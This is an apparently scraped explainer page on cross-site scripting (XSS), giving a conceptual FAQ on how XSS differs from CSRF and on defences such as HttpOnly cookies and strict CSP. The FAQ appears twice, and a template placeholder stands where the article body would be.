Is XSS still relevant?

Yes. OWASP's recent surveys show XSS in nearly every web application. Modern frameworks have reduced the frequency, but the long tail of legacy apps, custom code, and edge cases keeps XSS one of the most-reported web vulnerabilities. Bug bounty platforms see hundreds of XSS reports per week.

What's the difference between XSS and CSRF?

XSS injects malicious code into the trusted site, executing with the site's privileges. CSRF (Cross-Site Request Forgery) tricks the victim's browser into making a request to the trusted site from a different origin, using the victim's session. They sound similar but have different mechanisms and defenses.

Does HttpOnly cookie protect against XSS?

Partially. HttpOnly prevents JavaScript from reading the cookie via document.cookie, defeating cookie-exfiltration attacks. The XSS payload can still make authenticated requests because the browser sends the cookie automatically — HttpOnly stops one specific class of damage, not the broader attack.

Can a CSP eliminate XSS entirely?

A strict CSP (nonce-based, no 'unsafe-inline' or 'unsafe-eval') is the closest thing to a silver bullet. It doesn't prevent the injection itself, but it prevents the injected payload from executing. Combined with output escaping in the application, strict CSP makes practical XSS exploitation very hard.

Are static sites immune?

Not entirely. DOM-based XSS still works on static sites if their client-side JS uses URL parameters unsafely. Pure-HTML sites with no JavaScript don't have XSS. Most modern "static sites" use enough JavaScript that XSS is a possible (though rare) issue.

Cross-Site Scripting (XSS) Explained: The Vulnerability Inside Every Web App

Cross-site scripting is the vulnerability where an attacker injects JavaScript that runs in another user's browser as if it were part of the legitimate site. The damage ranges from stealing session cookies to making API calls on the victim's behalf. XSS has been on the OWASP Top 10 for two decades and shows no signs of leaving.

pages.learningArticles.cross-site-scripting.bodyHtml

Frequently asked questions

Is XSS still relevant?: Yes. OWASP's recent surveys show XSS in nearly every web application. Modern frameworks have reduced the frequency, but the long tail of legacy apps, custom code, and edge cases keeps XSS one of the most-reported web vulnerabilities. Bug bounty platforms see hundreds of XSS reports per week.
What's the difference between XSS and CSRF?: XSS injects malicious code into the trusted site, executing with the site's privileges. CSRF (Cross-Site Request Forgery) tricks the victim's browser into making a request to the trusted site from a different origin, using the victim's session. They sound similar but have different mechanisms and defenses.
Does HttpOnly cookie protect against XSS?: Partially. HttpOnly prevents JavaScript from reading the cookie via document.cookie, defeating cookie-exfiltration attacks. The XSS payload can still make authenticated requests because the browser sends the cookie automatically — HttpOnly stops one specific class of damage, not the broader attack.
Can a CSP eliminate XSS entirely?: A strict CSP (nonce-based, no 'unsafe-inline' or 'unsafe-eval') is the closest thing to a silver bullet. It doesn't prevent the injection itself, but it prevents the injected payload from executing. Combined with output escaping in the application, strict CSP makes practical XSS exploitation very hard.
Are static sites immune?: Not entirely. DOM-based XSS still works on static sites if their client-side JS uses URL parameters unsafely. Pure-HTML sites with no JavaScript don't have XSS. Most modern "static sites" use enough JavaScript that XSS is a possible (though rare) issue.